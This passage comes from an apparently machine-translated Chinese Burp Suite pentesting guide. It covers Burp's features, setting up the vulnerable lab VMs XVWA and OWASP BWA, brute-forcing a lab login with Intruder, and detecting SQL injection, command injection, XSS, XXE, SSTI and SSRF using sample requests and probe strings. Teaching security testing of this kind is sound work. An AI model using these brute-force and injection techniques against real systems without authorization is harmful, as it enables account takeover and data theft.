自动化扫描仪的知识来确定信息是否敏感通常是通过一些关键词和正则表达式的组合来完成的,比如信用卡正则表达式或电话号码正则表达式。除此之外,都需要人工干预。
下一章将详细介绍如何进行手动分析。
自动化测试
自动化扫描是在网络和网络上进行的一个阶段。自动化扫描仪有助于发现从输入验证绕过到 SQL 注入等多个缺陷。自动化扫描需要加快多个发现的速度。在自动化扫描中,扫描仪模糊化所有输入参数,以找到 OWASP 前 10 名中的漏洞,特别是过时的插件和版本。它有助于找到敏感文件,比如根据其提供的字典找到管理员登录。应该注意,应用程序渗透测试不应该仅仅基于自动化扫描实践来得出结论。应该始终进行手动干预来验证发现。很多时候...
深挖数据外泄
有时用户无法获取 shell,或者可能出现应用程序可能容易受到盲目 SQL 或 XXE 攻击的情况;那么现在该怎么办呢?嗯,在这种情况下,攻击者仍然可以尝试使用带外技术或简单技术来外泄信息。使用这些技术,攻击者可以外泄大量信息,比如从数据库中提取用户凭据,通过 XXE 注入读取文件等。在后面的章节中,我们将看到如何使用 Burp 的带外技术进行数据外泄。
获取 shell
好吧,这是所有渗透测试人员最喜欢的部分,当他们对渗透测试活动感到满意时。一旦测试人员通过任何漏洞(如 SQL、RFI、文件上传、LFI 等)获得了 shell,他就可以尝试看看自己是否能够提升在服务器上的权限。如果他能够成为系统或根用户,那么这就是完全的妥协,测试可以被认为是完全成功的。
报告
一旦测试完成,接下来就是最重要的阶段:报告。报告必须尽可能准确和详细地进行,以向组织解释漏洞及其影响。这是因为组织只会通过提交的报告来理解测试人员的努力。您还可以添加测试的攻击以及应用程序如何防御这些攻击,让组织/开发人员了解应用程序的强大程度。
更好地了解 Burp Suite
在本节中,我们将看一下 Burp Suite 为测试人员提供的丰富功能和能力。我们还将看一下帮助自动化整个渗透测试过程的快速修复功能,以减少误报的数量。这将帮助初学者了解 Burp 在 Web 应用程序渗透测试方面的强大功能。
Burp Suite 的特性
Burp Suite 有各种选项,可以让我们有效地进行渗透测试。一旦打开 Burp Suite,您会看到以下选项卡:
-
仪表板
-
目标
-
代理
-
入侵者
-
重复器
-
顺序器
-
解码器
-
比较器
-
扩展器
-
项目选项
-
用户选项
这是 Burp Suite 上的样子:
让我们逐一了解所有这些选项,以便在以后的章节中进行渗透测试时,我们能够充分了解这些功能。
仪表板
Burp Suite 仪表板分为以下三个部分:
-
任务
-
问题活动
-
咨询
-
事件日志
这使用户可以完全了解在测试人员运行自动扫描时发生了什么。仪表板看起来像下面的截图:
在任务选项中,测试人员可以点击“新扫描”并指定要扫描的网站。除了网站名称,还有其他选项,如配置扫描设置。一旦点击“新扫描”按钮,你会看到一个像这样的屏幕:
...
目标
目标选项卡允许您查看在范围内的应用程序的整个站点地图。它向用户显示了应用程序上检测到的所有文件夹和文件以及构建逻辑。目标选项卡还有许多其他功能。映射可以通过两种方式进行;一种是手动浏览,另一种是通过自动爬虫。如果测试人员正在进行手动浏览,请关闭代理拦截并浏览应用程序。随着不同页面的请求和响应不断在 Burp Suite 中出现,目标选项卡会显示检测到的结构。这使用户可以了解应用程序的外观以及整个应用程序中的文件夹和文件命名约定。嗯,正如我们所知,对于一个有很多页面的大型网站,使用自动爬虫是最合适的选择,如下面的截图所示:
您可以在目标选项卡中看到有三个子部分,站点地图,范围和问题定义。让我们看看范围选项卡提供了哪些功能。范围选项卡提供了两个关键功能;一个是要包含在范围内的 Web URL,另一个是要从范围中排除的 Web URL。
在这里,测试人员可以输入 Web URL 的特定文件夹,或者如果范围是主 URL,则可以输入整个 URL 本身。例如,假设要测试的应用程序位于www.website.com/pentesting/,那么范围可以限制在 pentesting 文件夹中。如果是整个网站,那么可以输入网站名称本身,如下所示:
要添加 URL,只需单击添加,然后输入 URL 或带有文件夹路径的 URL。用户单击添加后,将看到以下屏幕:
同样,从范围中排除可以确保不会向从范围中排除的 URL 发送任何测试或额外的请求。当应用程序中存在可能是敏感页面的某些文件夹时,这是有效的,例如忘记密码功能或注册功能。
在生产环境中进行测试时,如果包括在测试中,那么将会有大量的垃圾信息,清除这些信息将是繁琐的,客户也不会欣赏。因此,请确保使用此功能。另一种方法是右键单击特定文件,然后选择是否要将其排除或包括在范围内。例如,如果需要将某些内容包括在范围内,可以按照下面的屏幕截图所示进行操作:
如果您需要从范围中排除特定路径或文件,可以通过右键单击 URL 并选择从范围中删除来完成,如下面的屏幕截图所示:
还有一个高级范围控制功能。当您在范围选项卡中启用它时,它可以让您输入协议类型,即 HTTP 或 HTTPS,然后是 IP/IP 范围,以及端口号和文件,如下面的屏幕截图所示:
问题定义包含 Burp 可以检测到的所有漏洞的定义。这让我们对 Burp Suite 发现如此多漏洞的丰富检测能力有了很好的了解,如下面的屏幕截图所示:
Burp 还在站点地图中提供了过滤器,确定要显示什么和需要隐藏什么。例如,请求应该如何过滤,然后显示的 MIME 类型,然后是状态代码。还有其他选项,例如按搜索词、按扩展名和按注释进行过滤。这些都很容易理解,并且可以根据用户的要求进行配置,如下面的屏幕截图所示:
这有助于清晰地了解站点地图。
代理
这是整个工具的核心;Burp Suite 上发生的一切都是通过这个地方进行的。代理选项卡允许您拦截请求并通过编辑和发送到重复器、入侵者或任何 Burp 测试模块来进行操作。这是您可以决定测试人员想要对请求做什么的地方。代理选项卡如下屏幕截图所示:
拦截请求后,可以以不同的方式查看。对于简单的 HTTP 请求,可用的选项包括原始、参数、标头和十六进制。根据请求的类型,如果是 Web 套接字请求,则会有一个 Web 套接字选项卡...
入侵者
这是应用程序的核心功能。Burp 的这一功能允许用户自动执行用户想要的过程。自动化用于对 Web 应用程序执行攻击。这一功能非常可定制,可用于各种任务,从暴力破解到利用 SQL 注入和操作系统命令注入等。
Intruder 有四个子标签,分别是:
-
Target
-
Positions
-
Payloads
-
Options
Target标签显示了请求发送到的 IP 和端口,以及Start attack按钮。这个按钮被点击一次,为要测试的特定请求进行设置,如下所示:
Positions标签在Intruder中用于选择有效载荷位置。如下截图所示,txtUsername
和txtPassword
的Value参数被突出显示。Add按钮添加分隔符;两个分隔符之间的任何内容都成为一个攻击点。如我们在示例请求中看到的,自动化需要完成的地方有两个。Clear按钮从请求中删除所有注入点,Auto按钮添加 Burp 突出显示的所有可攻击的参数。
这个标签中最有趣的是攻击类型。Burp 支持四种不同的攻击类型:
-
Sniper
-
Battering Ram
-
Pitchfork
-
Clusterbomb
让我们更详细地了解一下攻击类型。
狙击手:狙击手支持单一组有效载荷。它将一次发送一个有效载荷。所以假设我们希望对一个位置进行模糊测试,那么狙击手是最适合进行攻击自动化的。它不适用于两个攻击点,因为狙击手只会向第一个攻击点发送一个有效载荷。一旦有效载荷集用尽,它将把有效载荷发送到第二个攻击点,将第一个点保留为默认值。狙击手总是用于单一输入攻击点。如果我们在前面的截图中使用狙击手,它将首先对用户名进行模糊测试,将密码保持为admin
,然后对密码字段进行模糊测试,将用户名字段保持为默认值,即 admin。
Battering Ram:Battering Ram 也使用单一组有效载荷。这里有趣的是 Battering Ram 会在多个位置传递相同的有效载荷。这意味着一旦有效载荷列表被指定,它将在所有需要进行模糊测试的标记位置发送第一个有效载荷值,以此类推,直到最后一个有效载荷。生成的有效载荷数量等于提供的有效载荷数量,而不管模糊测试的位置如何。
Pitchfork:此攻击使用多组有效载荷。假设我们已经标记了两个模糊测试的位置,类似于前面的截图,并且给出了两组有效载荷;一个是用户名,另一个是密码。当攻击开始时,有效载荷集中的第一个有效载荷被设置在第一个位置,第二个有效载荷集中的第一个有效载荷被设置在第二个位置,攻击随之增加。攻击的总次数将等于有效载荷集中有效载荷最少的数量。
ClusterBomb:此攻击使用多组有效载荷。它是所有有效载荷位置的完全排列组合。假设有两个有效载荷位置,用户名和密码,以及两个不同的有效载荷集,用户名集和密码集。攻击发生的方式是,位置 1 的第一个有效载荷与位置 2 的所有有效载荷集一起测试。一旦用尽,那么第二个有效载荷将设置在位置 1,并且所有第二组有效载荷将针对它进行测试。因此,总共生成的请求数量将是有效载荷集中有效载荷数量的乘积。假设我们对位置 1 有 10 个有效载荷,对位置 2 有 10 个有效载荷:将发送的请求总数将是 100。
接下来的标签是Payloads标签。它包含四种不同的设置,分别是:
-
Payload Sets
-
Payload Options
-
Payload Processing
-
Payload Encoding
负载集:负载集允许您指定在哪个负载位置输入什么类型的负载。
负载选项:此设置允许您设置负载。测试人员可以从可用的 Burp 列表中设置,如果是专业版,否则可以使用加载...选项加载自定义文件集,如下图所示
负载处理:此设置允许用户在使用每个负载之前执行不同的任务。在开始攻击之前可以配置规则,如下图所示:
负载编码:此设置允许将自动编码设置为打开或关闭,并借助复选框。用户可以指定在发送到测试时需要对其进行 URL 编码的字符,根据正在测试的应用程序的依赖性,例如:
最后一个选项卡是选项选项卡,允许测试人员配置攻击自动化的其他设置。它包含以下设置:
-
请求头
-
请求引擎
-
攻击结果
-
Grep 匹配
-
Grep 提取
-
Grep 负载
-
重定向
请求头:此设置允许用户根据负载的长度自动更新 Content-Length 头,并设置Set Connection: close的头,以便不通过将其置于等待状态来利用应用程序的资源。
请求引擎:请求引擎允许用户通过指定要使用的线程数、在网络故障时要进行的重试次数、暂停、节流等来控制测试速度,如下图所示:
攻击结果:此设置允许测试人员根据攻击结果选择要捕获的信息。
Grep-Match:此设置允许用户突出显示某些字段,以快速查看特定表达式的调用。例如,如果用户成功登录,则会有注销选项,因此如果用户在此处添加表达式注销并启用此设置,那么请求将被突出显示并易于发现,如下所示:
Grep 负载:此设置用于标记包含与提交的负载相同值的结果。
重定向:此设置告诉 Burp 在发送请求时检测到重定向时该做什么。
Repeater
Repeater允许测试人员通过对其进行修改并检查服务器响应来递归地提交相同的请求。假设测试人员正在测试特定请求的一个参数上的 SQL 注入或命令注入漏洞。测试人员可以在代理中捕获请求并将其发送到Repeater,操纵参数并将其发送到服务器以检查响应,然后再次操纵它并检查响应。这就像一个手动调试器。查看以下屏幕截图,以清楚了解第一个请求,即一个简单的登录请求:
它以OK作为响应。但是,如果我更改用户名的值...
比较器
Burp Comparer 是 Burp 的一个功能,用于基于单词或字节比较的差异比较。比较可以在许多条件下使用。例如,假设用户想要比较成功和失败的登录响应之间的差异。比较器将显示字节差异的区域。我们可以想到的另一个用途是用于测试 SQL 注入以查看差异。有两种类型的比较。要将响应发送到比较器,只需右键单击响应,然后选择“发送到比较器”。参考以下截图:
为了澄清,我们已将两个不同的响应发送到比较器:一个是成功登录,另一个是失败登录。比较器工具栏将如下所示:
测试人员可以从项目 1 中选择一个响应,从项目 2 中选择另一个响应,然后点击“按单词比较”和“按字节比较”。该工具将进行单词对单词的比较,并显示删除、修改和添加等差异,例如:
比较以颜色编码的方式显示,如前面截图中所示的修改、删除和添加。
Sequencer
Sequencer用于分析会话 cookie、CSRF 令牌和密码重置令牌的随机性。当我们使用Sequencer对会话令牌进行分析时,我们将更详细地讨论这一点。
有关 Burp Suite Sequencer 的更多信息,请访问www.preflexsol.com/burpsuite.shtml
解码器
这个 Burp 实用程序允许测试人员在应用程序中遇到数据时对其进行编码、解码和哈希处理。支持不同类型的编码器和哈希,例如:
编码器/解码器 | 明文 | URL | HTML | Base64 | ASCII 十六进制 | 十六进制 | 八进制 | 二进制 | Gzip |
---|
以下是使用解码器中的编码为...选项对字符串密码进行 base64 编码的示例:
支持多种类型的哈希,从 SHA 到 SHA3-512,然后是 MD5、MD2 等。尝试使用解码器,它在渗透测试中将是一个非常方便的实用工具。
扩展程序
Burp 的这一功能允许测试人员使用独立开发的不同扩展,作为 Burp 功能的附加功能。Burp 非常可扩展;用户甚至可以编写自己的代码来创建 Burp 扩展,并将其嵌入以更充分地利用 Burp。为了充分利用这些扩展,用户必须提供 Jython 和 JRuby JAR 文件的路径。我们很快将看到如何做到这一点。让我们看看以下 Burp Extender 页面:
在 Extender 部分,转到选项页面,并提供下载的 Jython JAR 文件的路径。可以从www.jython.org/downloads.html ...
下载 Jython JAR。
项目选项
项目选项类似于用户选项,但此选项卡特定于已启动的特定项目。它包含以下子选项卡:
-
连接
-
HTTP
-
SSL
-
会话
-
其他
连接选项卡包含以下项目列表:
-
平台认证
-
上游代理服务器
-
SOCKS 代理
-
超时
-
主机名解析
-
超出范围的请求
平台认证: 平台认证包括通常在用户访问应用程序之前存在的认证(例如,HTTP 认证、NTLMv1、NTLMv2 认证、摘要认证等)。因此,如果在用户选项选项卡中未进行配置,则可以在此处使用设置。我们将在用户选项菜单中详细了解可用的不同选项。
上游代理服务器: 假设在一个组织中,需要配置代理才能访问特定应用程序。然而,由于我们将流量重定向到 Burp 作为我们的代理,用户如何将请求重定向到组织代理通过特定应用程序?这就是上游代理服务器发挥作用的地方。上游代理服务器允许您配置组织的代理,以便请求可以发送到代理后面的特定应用程序。
超时: 在进行测试时,Burp 发送了许多请求到应用程序。但是它如何理解请求是否已经完成,是否应该等到服务器响应,或者如果服务器无法访问,或者对于某些特定请求响应不可用会怎么样?Burp 用于测试的所有线程可能最终会被利用并处于等待状态。因此,超时功能允许用户根据情况指定何时终止特定请求。如下截图所示,有四种不同类型的超时。普通、无限期响应、域名解析和失败的域名解析:
主机名解析: 假设有一种情况,用户想要为托管在特定 IP 上的特定应用程序提供别名。通常 DNS 解析发生在主机文件或 DNS 服务器级别。Burp 还允许用户指定这样的能力,用户可以在此配置中说127.0.0.1
解析为 pentest,当用户输入http://pentest/
时,将显示本地主机内容。这种配置可以在主机名解析页面中完成。
超出范围的请求: Burp 提供了一个功能,可以阻止 Burp 发出任何超出范围的请求。提供的两个功能是丢弃所有超出范围的请求或使用目标选项卡中定义的范围。
HTTP选项卡中的下一个子选项卡是HTTP。如果在用户选项部分尚未配置,则包含所有与 HTTP 相关的设置。HTTP选项卡如下所示:
HTTP选项卡包含以下三个设置:
-
重定向
-
流式响应
-
状态 100 请求
重定向: 在 Burp 中,这些设置允许 Burp 考虑和相应地处理的重定向类型。
流式响应: 这些设置用于指定返回无限期响应的 URL。Burp 将直接将这些响应传递给客户端。
状态 100 响应: 通过此设置,用户可以控制 Burp 处理带有状态 100 的 HTTP 响应的方式。用户可以选择理解响应 100,或者删除 100 继续头。
下一个选项卡是SSL选项卡。在这里,可以设置特定项目的所有与 SSL 相关的配置,如果在用户选项选项卡中尚未配置,例如:
以下三个选项可用:
-
SSL 协商
-
客户端 SSL 证书
-
服务器 SSL 证书
SSL 协商:用户经常因为SSL 协商错误而无法看到应用程序。在这里,用户可以指定特定的协商,手动指定要使用的密码。如果单击“使用自定义协议和密码”,用户将获得所有可用密码的列表,然后可以取消选择导致错误的密码,然后访问应用程序,如下截图所示:
如果仍然无法工作,那么也有可用的解决方法。用户可以选择在协商失败时自动选择兼容的 SSL 参数,或允许使用重新协商,甚至禁用 SSL 会话。
客户端 SSL 证书:有时应用程序需要特定的证书,否则无法呈现应用程序内容。这些也称为客户端 SSL 证书。Burp 提供了一个功能,用户可以添加客户端证书,以便每当主机请求时,可以将其发送到主机。客户端 SSL 证书选项卡如下所示:
服务器 SSL 证书:此面板显示从 Web 服务器接收的唯一 SSL 证书的列表。可以双击该项目以查看整个证书。
接下来是会话选项卡,它处理特定项目的所有与会话相关的信息。会话选项卡中有三种不同的设置,如下所示:
-
会话处理规则
-
Cookie Jar
-
宏
会话处理规则:会话规则允许用户为每个 HTTP 请求让 Burp 执行某些任务。每个规则都有一个定义的范围,用户点击会话处理规则设置的添加按钮后,定义就可用。可以执行许多操作,例如添加会话 cookie,登录应用程序,检查会话有效性等。以下屏幕截图显示了会话处理规则中可用的定义:
Cookie jar:Burp 将网站发出的所有 cookie 存储在 cookie jar 中。会话处理规则利用这些 cookie,甚至更新它们以维持与应用程序的有效会话。在这里,测试人员可以选择从哪里获取和维护所有 cookie,即代理,扫描器,重复器,入侵者,顺序器和扩展器。
宏:简单来说,宏就像是一个以上请求的一系列序列。它们可以在会话处理中使用,或者执行诸如获取反 CSRF 令牌之类的操作。当我们谈论 Burp 及其宏时,我们将更详细地了解这一点。
下一个选项卡是其他选项卡,其中包含特定项目设置的所有杂项设置。以下屏幕截图显示了其他选项卡:
其他中有以下三个主要设置:
-
定时任务
-
Burp Collaborator 服务器
-
日志
定时任务:在定时任务部分,用户可以指定要执行的特定活动,主要涉及执行方案。用户可以选择在特定时间暂停或恢复执行,以确保时间约束。设置如下截图所示:
Burp Collaborator Server:Burp Collaborator 是一个外部服务,用于获取带外类型的漏洞。Burp 有一个默认的协作服务器,但如果用户希望,他可以使用此设置配置自己的协作服务器,并可以使用运行健康检查选项来了解是否已正确配置。当我们谈论带外注入攻击时,我们将更详细地了解 Burp Collaborator。
日志记录:这很简单明了。此设置允许用户控制 HTTP 请求的日志记录。用户可以选择需要记录的工具的请求和响应的部分。
这涵盖了项目 选项部分。在扫描期间,除非需要特殊配置,否则大多数情况下这些都不会被更改,因此了解所有这些设置以更好地理解在出现情景时该怎么做是很有必要的。让我们继续下一个选项卡,用户选项选项卡。
用户选项
用户选项选项卡包含用户可以配置的所有设置,以便 Burp 在每次启动时都能默认运行。大多数设置与项目 选项中看到的设置类似;唯一的区别是这是每次运行 Burp 时的永久配置,而项目选项仅在项目有特殊要求时配置。
用户选项中有以下四个选项卡:
-
连接
-
SSL
-
显示
-
其他
让我们看一下以下屏幕截图,以查看连接选项卡的可用设置:
连接选项卡有以下一组选项:
- 平台认证 ...
侦察和文件发现
在本模块中,我们将看到如何通过 Burp 进行侦察,以便检测应用程序中的文件和文件夹。这个阶段很重要,因为它有助于映射整个站点结构,因为可能有一些文件夹通过站点超链接不可用,但有时在应用程序上是可用的。通常人们最终会发现很多敏感文件和文件夹托管在网络应用程序的范围内。检测这些文件和文件夹的能力完全取决于可用的字典的强度。让我们继续看看如何使用 Burp Suite 来做到这一点。
使用 Burp 进行内容和文件发现
对于本模块,我们将使用OWASP BWA并发现可用应用程序中的所有文件和文件夹。我们将看到如何配置和设置 Burp 上必要的参数以执行内容发现。
启动 OWASP BWA VM 并记录 IP 地址,在浏览器中访问应用程序,并在 Burp Suite 中检查您的站点地图。它应该看起来像这样:
继续右键单击 URL 地址,然后选择参与工具,然后单击发现内容。它将显示您可以指定以开始自动化...的不同参数集。
摘要
简而言之,我们已经看到了应用程序渗透测试的不同阶段,现在我们将开始查看不同的漏洞以及如何使用 Burp 来发现这些漏洞。除此之外,我们还看到了 Burp 中可用的不同功能以及为用户提供的配置,以便轻松使用代理拦截。
在下一章中,我们将规划应用程序渗透测试的方法
第五章:准备应用程序渗透测试
在本章中,我们将通过 Burp 对各种易受攻击的应用程序进行渗透测试,以更好地了解如何可以有效地使用 Burp Suite 进行渗透测试。
本章将涵盖以下主题:
-
易受攻击的 Web 应用程序的设置
-
侦察和文件发现
-
使用 Burp 测试身份验证模式
易受攻击的 Web 应用程序的设置
为了让我们开始本章,读者将不得不下载以下易受攻击的应用程序:
-
极端易受攻击的 Web 应用程序
-
OWASP Broken Web Applications
设置极端易受攻击的 Web 应用程序
为了设置极端易受攻击的 Web 应用程序,请按照以下步骤操作:
-
下载极端易受攻击的 Web 应用程序;访问
download.vulnhub.com/xvwa/
,然后点击xvwa.iso
。 -
下载后,打开 VirtualBox,然后点击“新建”。
- 设置新虚拟机的名称。我们已经给它以下名称:
- 提供大约 1024 MB 的 RAM,如下面的屏幕截图所示:
- 接下来,...
设置 OWASP Broken Web Application
为了设置 OWASP Broken Web Application,请按照以下步骤操作:
-
从以下网址下载 OWASP BWA:
download.vulnhub.com/owaspbwa/
;转到网站,然后点击OWASP_Broken_Web_Apps_VM_1.2.7z
。 -
下载后,打开 VirtualBox,并如下图所示,点击“新建”。
-
设置新虚拟机的名称。我们已经给它以下名称:
- 提供大约 1024 MB 的 RAM,然后选择使用现有的虚拟硬盘文件选项,如下面的屏幕截图所示:
- 选择提取的 OWASP Web Apps
.vmdk
文件,然后点击创建。这将创建一个虚拟机。要启动此虚拟机,请从虚拟机列表中选择该虚拟机,然后单击“启动”按钮。
通过 Burp 进行身份验证测试
本主题主要讨论在没有设置速率限制的情况下尝试暴力破解认证页面。我们将学习如何在各种登录页面上使用 Burp 尝试暴力破解具有一组用户名和密码字典的认证。最后,我们还将检查认证页面是否容易受到 SQL 注入的攻击。
使用 Burp Intruder 暴力破解登录页面
让我们不浪费时间,快速前往一些应用程序,看看我们如何使用 Burp 在认证页面上暴力破解凭据。我们将首先暴力破解 OWASP BWA 列表中的 OrangeHRM 应用程序。
一旦您打开应用程序,将显示登录页面;没有注册此应用程序的选项。因此,我们有两个选择,要么测试 SQL 注入,要么暴力破解基于字典的密码,希望其中一个用户名和密码组合有效。以下屏幕截图显示了主页:
该应用程序的默认凭据是admin
:admin
,但是,为了展示我们如何可以暴力破解登录页面,密码已更改为另一个字典词。让我们继续输入任意随机用户名和密码,test
和test
,然后点击登录。确保在这样做时,您的代理已打开,并且您收到拦截以将此请求发送到入侵者,如下面的屏幕截图所示:
转到入侵者选项卡,单击“清除”按钮以删除所有预定义的攻击点。我们的核心关注点是攻击用户名和密码值,因此我们选择用户名和密码字段,并将它们添加到我们的攻击点,并将攻击类型更改为集束炸弹,如下面的屏幕截图所示:
现在,在我们继续之前,让我们了解为什么选择集束炸弹作为攻击类型。Burp 的入侵者功能中有四种不同类型的攻击类型。这四种攻击类型是:
-
狙击手
-
攻城槌
-
Pitchfork
-
集束炸弹
我们已经在上一章中了解了这些攻击类型。现在我们已经了解了不同的攻击类型,让我们继续使用我们的集束炸弹,并为用户名和密码有效载荷输入值。转到有效载荷部分,选择有效载荷集 1,并在有效载荷选项中选择“从列表添加”,然后选择用户名。如果您使用 Burp Basic,您可以从github.com/danielmiessler/SecLists
下载单词列表,选择“添加”选项,并提供用户名的路径。对于专业用户,请查看以下屏幕截图:
对于基本用户,一旦下载列表,只需单击“加载...”并提供顶部用户名简表文件的路径,如下面的屏幕截图所示:
同样,选择有效载荷集 2,并通过从列表中添加选项为专业用户选择密码,对于基本用户,通过加载选项选择。专业用户还可以使用自定义列表,如果不想使用 Burp 中的默认列表。因此,密码的有效载荷集已设置,如下面的屏幕截图所示:
配置完成后,我们可以单击“开始攻击”,它将暴力破解一组用户名和密码,如果任何组合命中正确,例如:
如您所见,其中一个组合成功了,并且给出了状态 302,这意味着这可能是正确的密码。让我们继续在浏览器中请求。右键单击请求,选择在浏览器中请求,然后在当前会话中,您将看到一个 Burp URL。将其复制并粘贴到 URL 空间中,如下面的屏幕截图所示,您已成功登录:
测试 SQL 注入的身份验证页面
在本模块中,我们将看到如何执行测试,以验证应用程序的身份验证页面是否容易受到 SQL 注入的攻击。我们将首先了解 SQL 注入如何影响登录页面,它的背景逻辑是什么,以及它如何执行并允许我们登录。然后我们将测试一些应用程序,看看应用程序是否容易受到 SQL 注入的攻击。
测试登录页面的 SQL 注入的魔术字符串具有相同的逻辑,但由于验证的原因表示不同。整个目的是尝试从 SQL 语法的输入字段中出来,并尝试执行有效载荷作为 SQL 查询的一部分,这将导致结果为 true。例如,一些样本...
总结
在本章中,我们设置了易受攻击的 Web 应用程序。此外,我们通过 Burp 进行了侦察,以检测应用程序中的文件和文件夹。最后,我们学习了如何在各种登录页面上使用 Burp 尝试使用一组用户名和密码字典进行暴力破解身份验证。
在下一章中,我们将使用 Burp Suite 识别漏洞
第六章:使用 Burp Suite 识别漏洞
Burp Suite 不仅是一个 HTTP 代理;它是一套完整的工具,用于检测和利用漏洞。事实上,我们将使用 Burp Suite 向开发人员解释这些漏洞是如何工作的,以一种他们可以理解的方式。在本章中,我们将重点介绍如何使用 Burp Suite 和一些扩展来检测漏洞。我们将涵盖以下主题:
-
检测 SQL 注入漏洞
-
检测操作系统命令注入
-
检测跨站脚本(XSS)漏洞
-
检测与 XML 相关的问题,如XML 外部实体(XXE)
-
检测服务器端模板注入(SSTI)
-
检测服务器端请求伪造(SSRF)
检测 SQL 注入漏洞
SQL 注入是由应用程序中弱输入验证控件生成的漏洞。它允许恶意用户执行任意的 SQL 代码,从而暴露存储的信息,并在一些关键情况下允许完全控制应用程序所在的服务器。
使用 Burp Suite 检测 SQL 注入有三种主要方法:首先,通过手动插入测试字符串;其次,通过使用扫描程序;第三,通过使用名为 CO2 的扩展,该扩展在后台使用sqlmap,这是一种用于利用和检测 SQL 注入的工具。让我们来看看这三种方法。
手动检测
手动检测意味着逐个分析请求,仅使用代理工具和入侵者工具,以检测错误或意外行为以检测 SQL 注入。
假设您有一个应用程序,允许用户查看数据库中注册用户的信息;为此,应用程序将使用以下请求:
GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1 Host: 192.168.1.72 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.72/dvwa/vulnerabilities/sqli/ Connection: close Cookie: security=low; ...
扫描程序检测
通过扫描程序,使用 Burp Suite 检测 SQL 注入和任何漏洞的最简单方法。要使用扫描程序,请执行以下操作:
- 打开 Burp Suite 查看主要仪表板,如下面的屏幕截图所示。请注意,这仅适用于专业版;社区版没有“扫描程序”选项。如果您使用社区版,则使用 ZAP 代理中包含的扫描程序(可以在此处找到:
www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
):
- 在此屏幕上,单击“新扫描”。此按钮将启动配置扫描的向导;在这里,您可以添加要扫描的所有 URL,限制扫描范围,为经过身份验证的扫描设置凭据,并创建特定任务,如过滤器。要执行应用程序扫描,请输入要扫描的 URL,如下面的屏幕截图所示:
- 接下来,单击“应用程序登录”并为应用程序添加凭据。在这种情况下,我们为网站添加用户,如下面的屏幕截图所示:
- 单击“确定”按钮,扫描程序将开始检测,如下面的屏幕截图所示。Burp Suite 将询问您是否需要更多信息来执行扫描:
现在,让我们继续下一个检测方法,即 CO2 检测。
CO2 检测
CO2 是 Burp Suite 的热门扩展,集成了 Python 开发的工具 sqlmap,该工具专注于检测和利用 Web 应用程序中的 SQL 注入。让我们来看一下 CO2 的安装和工作,如下所示:
- 要安装 CO2,请转到 Burp Suite 中的“扩展”选项卡,然后单击 BApp Store;在这里,您将找到最新版本的列表,如下面的屏幕截图所示:
-
安装时,点击“安装”按钮,一个新的选项卡将出现在您的 Burp Suite 安装中,如下面的屏幕截图所示:
-
CO2 实际上只是 sqlmap 的一个前端扩展。要工作,它...
检测 OS 命令注入
命令注入是另一个输入验证错误,直接导致与操作系统的交互。通常是因为应用程序使用函数,如exec()
、execve()
或system()
。
像 SQL 注入和本章描述的所有漏洞一样,OS 命令注入可以通过使用扫描器方法和遵循类似的步骤来检测。因此,我们将描述如何以手动方式检测此漏洞。
手动检测
要检测命令注入漏洞,请打开 Burp Suite 并拦截您认为存在潜在漏洞的请求。
我们认为 IP 参数存在漏洞。正常应用程序流程是用户插入 IP 地址,然后应用程序执行对此 IP 地址的 ping。如果我们试图想象后端发生了什么,我们可以假设 IP 参数被 PHP 中的一个变量接收;然后它与字符串 ping 连接起来,创建一个包含命令和 IP 地址的字符串。
最后,这个完整的字符串作为参数传递给一个负责在低级命令中执行的函数。因此,如果 IP 参数没有以正确的方式验证...
检测 XSS 漏洞
XSS 有三种不同的类型,但它们都有一个共同点——它们源于输入验证错误,以管理用于注入 JavaScript 代码或 HTML 标记的字符。因此,我们可以使用一些输入,如下面的屏幕截图所示(这是 OWASP 项目的备忘单),并将其添加到 Intruder 工具作为负载:
OWASP 项目的备忘单
检测 XSS 漏洞的方法是在响应的 HTML 中找到这些代码,而不进行编码或修改,或者在注入测试字符串后没有收到错误。
要添加备忘单,请使用类似的过程将负载列表添加到 Intruder 中。打开 Intruder 工具,单击负载选项卡,然后选择加载按钮。最后,标记您认为有漏洞的所有参数,然后单击开始攻击,如下面的屏幕截图所示:
易受攻击的参数列表
在前面的屏幕截图中,我们可以看到 Intruder 启动了所有字符串,以及其中一个字符串是如何影响确认的 XSS 响应的。
检测与 XML 相关的问题,如 XXE
XML 问题需要请求接受 XML,因此我们需要在头部的content-type
中包含这些信息,如下所示:
text/xml
application/xml
我们可以在 Burp Suite 中配置过滤器,以便检测请求头中包含这些信息的请求。要配置过滤器,请转到目标工具,然后单击过滤器栏。一旦在那里,选择 XML 文件格式,如果需要,写入我们知道所有请求都需要具有的content-type
字符串,如下面的屏幕截图所示:
在过滤可能存在漏洞的请求之后,在 Intruder 中的负载列表中添加常见的测试字符串...
检测 SSTI
SSTI 漏洞在很大程度上取决于被测试应用程序使用的引擎。但是,在模板引擎中的主要思想是传递一个参数,由引擎解释,并创建视图。因此,大多数引擎都在等待解析和显示文本。请以以下内容为例:
any=Hello
<b>Hello</b>
在前面的示例中,应用程序接收一个字符串,引擎会自动添加 HTML 标记以显示它。此外,这些引擎可以解释作为参数传递的值,如运算符。例如:
any=Hello ${7*7}
Hello 49
在这种情况下,引擎使用传递的值评估*
运算符。因此,如果您将意外的字符串作为参数传递,它可能会被反射,或者可能被用于提取敏感信息,如下所示:
personal_greeting=username<tag>
Hello
personal_greeting=username}}<tag>
Hello user01 <tag>
在这里,引擎正在解释参数以显示相关信息,就像是一个查询一样。詹姆斯·凯特尔(James Kettle)在 2015 年创建了一张地图,以依赖于使用的引擎来检测 SSTI 漏洞。以下屏幕截图显示了凯特尔的地图,以检测 SSTI 是否存在,并从输入中推断:
使用 Burp Suite 检测 SSTI 漏洞需要手动进行,并涉及捕获和输入测试参数以首先检测使用的引擎,然后检测它是否容易受攻击。
检测 SSRF
SSRF 的基本思想是找到可以操纵以访问未经授权资源的内部资源的访问权限。例如,想象一下我们有以下 URL:
https://site.com/process.php?url=192.168.2.34/data/
在这种情况下,我们有一个网站,它在site.com
域名后面是公开的,并且使用从内部 IP 检索的信息进行处理。如果开发人员不验证url
参数,恶意用户可以访问位于内部 IP 中的未经授权的资源,或者可能是具有相同可见性的其他资源。
